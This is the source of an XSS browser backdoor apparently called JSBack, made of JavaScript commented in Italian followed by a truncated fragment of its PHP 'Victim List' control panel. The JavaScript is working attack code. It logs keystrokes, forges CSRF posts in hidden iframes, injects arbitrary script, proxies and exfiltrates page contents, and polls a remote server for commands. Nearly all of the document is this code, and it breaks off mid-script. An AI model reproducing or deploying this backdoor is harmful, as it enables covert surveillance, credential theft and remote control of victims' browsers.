#################################################################################################### /*Inserite qua l'indirizzo di jsback.php (o come l'avete rinominata)*/ var evil='http://www.google.it/jsback.php'; /* Tempo che intercorre tra una richiesta e l'altra a jsback in MILLISECONDI: tempi troppo bassi potrebbero creare problemi*/ var loop = 10*1000; /* Lunghezza delle stringhe inviate dal keylogger a jsback */ /* Ricordo che verrano raccolti i tasti premuti MENTRE LA FINESTRA È ATTIVA*/ var maxlen=20; /*pagina 'grande' che verrà caricata sopra la pagina contenete l'xss, e che permetterà alla vittima*/ /*di continuare la navigazione senza accorgersi di nulla. E' importante che questo indirizzo sia quello*/ /*della pagina contenete l'xss... ma senza xss per evitare stack overflow.*/ /*Lascia la stringa vuota se vuoi che la shell cerchi di procedere da sola.*/ var big = 'http://www.google.it'; /**************************************************************************/ /*Modificate quanto sta qua sotto solo a vostro rischio e pericolo*/ /**************************************************************************/ var tmp = ''; var srce= ''; var t = 1; var ricevi = 'ricevi'; var invia = 'invia'; var login = 'login'; var id = ''; var maxRandNum = 10000; var interval = 10*1000; var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; window.test = 0; evil+='?metodo='; function shell(){ test = 0; // Base64 code from Tyler Akins -- http://rumkin.com function encode64(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; do { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4); } while (i < input.length); return output; } function decode64(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); do { enc1 = keyStr.indexOf(input.charAt(i++)); enc2 = keyStr.indexOf(input.charAt(i++)); enc3 = keyStr.indexOf(input.charAt(i++)); enc4 = keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } while (i < input.length); return output; } // crea un iframe invisibile, utile per fare richieste post e quant'altro. La vittima non vedrà nulla, // e noi avremo a disposizione un intero iframe in cui lavorare function MakeHIF(u,loaded,unloaded,id){ var iframe = document.createElement('iframe'); iframe.setAttribute("src",u); iframe.setAttribute("scrolling", "no"); iframe.setAttribute("id", id); iframe.setAttribute("opacity","0"); iframe.setAttribute("onload", loaded); iframe.setAttribute("onUnload", unloaded); iframe.style.width = iframe.style.height = 0+"px"; iframe.style.visibility="hidden"; document.body.appendChild(iframe); } // funzione che crea un iframe "gigante" che andrà a coprire la finestra dalla quale è lanciato. // togliendo il focus alla pagina dove gira il js, il keylogger cesserà di funzionare una volta // richiamata questa funzione function MakeBIF(u,loaded,id){ var iframe = document.createElement('iframe'); document.body.scroll = 'no'; iframe.setAttribute("src",u); iframe.setAttribute("scrolling", "no"); iframe.setAttribute("id", id); iframe.setAttribute("opacity","100"); iframe.setAttribute("OnLoad", loaded); iframe.style.position = 'absolute'; iframe.style.width = iframe.style.height = '100%'; iframe.style.top = iframe.style.left = iframe.style.border = 0; document.body.appendChild(iframe); return iframe; } // funzione che aggiunge uno script src alla pagina. Utile per prendere informazioni dal server function inscript(u) { var scr = document.createElement('script'); scr.type = 'text/javascript'; scr.src = u; document.body.appendChild(scr); } //funzione che genera un numero casuale compreso tra 0 ed a function randnum(a){ var n = Math.round(a*Math.random())+''; return n; } // funzione che esegue una richiesta a palary, e, una volta ricevuta la risposta json, // la invia all'attaccante function getHTML(q){ var pal = 'http://palary.com/main/load_page?sfrurl='; inscript(pal+q); window['page_loaded'] = function (html, title, url) { srce = encode64(html); send(id,'proxy',srce,q,ricevi); }; window['Effect'] = {'Highlight': function (){}}; } //funzione che, dato un url e una stringa di variabili post, esegue una richiesta // function csrf(url,p){ var arr = new Array; arr = p.split('&'); var r = randnum(maxRandNum); MakeHIF('','','',r); w = document.getElementById(r).contentWindow; w.document.write('
'); var form=w.document.createElement('form'); form.setAttribute('id','f'); form.action = url; form.method = 'post'; for(i= 0; i< arr.length;i++){ j =w.document.createElement('input'); j.setAttribute('type','text'); eq = arr[i].indexOf('='); if(eq != -1){ j.setAttribute('name',arr[i].substr(0,eq)); if(eq != (arr[i].length -1)) j.setAttribute('value',arr[i].substr(eq+1,arr[i].length)); } form.appendChild(j); } w.document.body.appendChild(form); form.submit(); w.document.close(); setTimeout(function(){ iframe = document.getElementById(r); document.body.removeChild(iframe); },interval); } // funzione che, dopo aver generato un iframe, vi scrive str. // Utile nel caso si voglia eseguire js personalizzato sulla macchina dell'utente function aggiungi(str){ var n = randnum(maxRandNum); MakeHIF('','','',n); setTimeout(function(){ document.getElementById(n).contentWindow.document.write(str); },1000); setTimeout(function(){ stop(); },2000); } // funzione che, una volta presi i comandi dal server nel quale è riposto il nostro script php, // lancia le relative funzioni in base ai comandi function getCommand(){ var n = randnum(maxRandNum); inscript(evil+invia+'&key='+n+'&id='+id); window['code_'+n] = function(a,b,c,d){ (a != 'Cg==')?getHTML(decode64(a)) : ''; (b != 'Cg==')?csrf(decode64(b),decode64(c)) : ''; (d != 'Cg==')?aggiungi(decode64(d)) : ''; }; } // funzione che crea un form in un iframe a nostra scelta function makeform(id,act,data,pag,ior,framename){ w = document.getElementById(framename).contentWindow; w.document.write(''); var form=w.document.createElement('form'); form.setAttribute('id','f'); form.action = evil+ior; form.method = 'post'; var list = ['id','act','data','pag']; var arr = new Array; for(i= 0; i< list.length;i++){ arr[i]=w.document.createElement('input'); arr[i].setAttribute('type','text'); arr[i].setAttribute('name',list[i]); arr[i].setAttribute('value',eval(list[i])); form.appendChild(arr[i]); } w.document.body.appendChild(form); form.submit(); w.document.close(); } function send(id,act,data,pag,str){ var r = randnum(maxRandNum); var i = MakeHIF('','','',r); makeform(id,act,data,pag,str,r); setTimeout(function(){ iframe = document.getElementById(r); document.body.removeChild(iframe); },interval); } // funzione che logga tutti i tasti premuti MENTRE LA PAGINA SU CUI GIRA IL JS HA IL FOCUS. // ergo non p compatibile con la funzione MakeBIF: quindi decidete, o prolungate il tempo in cui // assumete il controllo della vittima, o loggate tutto quello che scrive function keylogger(){ document.onkeyup = function(ev){ if (window.event) c = window.event.keyCode; else if (ev) c = ev.which; tmp += (String.fromCharCode(c)); if( tmp.length>maxlen){ send(id,'keylog',tmp,'',ricevi); tmp = ''; }; }; } // funzione per l'autenticazione sul server di controllo. non eseguitela, e non potrete inviare // alcun comando alla shell function auth(){ var bro = navigator; var gma = new Date(); var min = ((a = gma.getMinutes()) < 10 )? '0'+a :a; var ora = ((a = gma.getHours()) < 10 )? '0'+a :a; var gg = ((a = gma.getDate()) < 10 )? '0'+a :a; var mm = ((a = gma.getMonth()) < 9 )? '0'+ ++a : ++a; id = mm+'.'+gg+'.'+ora+'.'+min; var data = ''; data += 'Browser : ' + bro.userAgent + '
_ _____ _____ ___ _____ _ _
| | / ___/ | _ \ / | / ___| | | / /
| | | |___ __ | |_| | / /| | | | | |/ /
_ | | \___ \ |__| | _ { / /_| | | | | |\ \
| |_| | ___| | | |_| | / ___ | | |___ | | \ \
\_____/ /_____/ |_____/ /_/ |_| \_____| |_| \_\
JavaScript Shell - Backdoor
Victim List - refresh -
♥ = Connected ♥ = Disconnected\n";
}
function make_command($scriptname,$id,$proxy,$csfr,$csfr_var,$script_var)
{
@$file = fopen("jsback/".$id."/command.html", "w");
$stringa = "";
$stringa .= "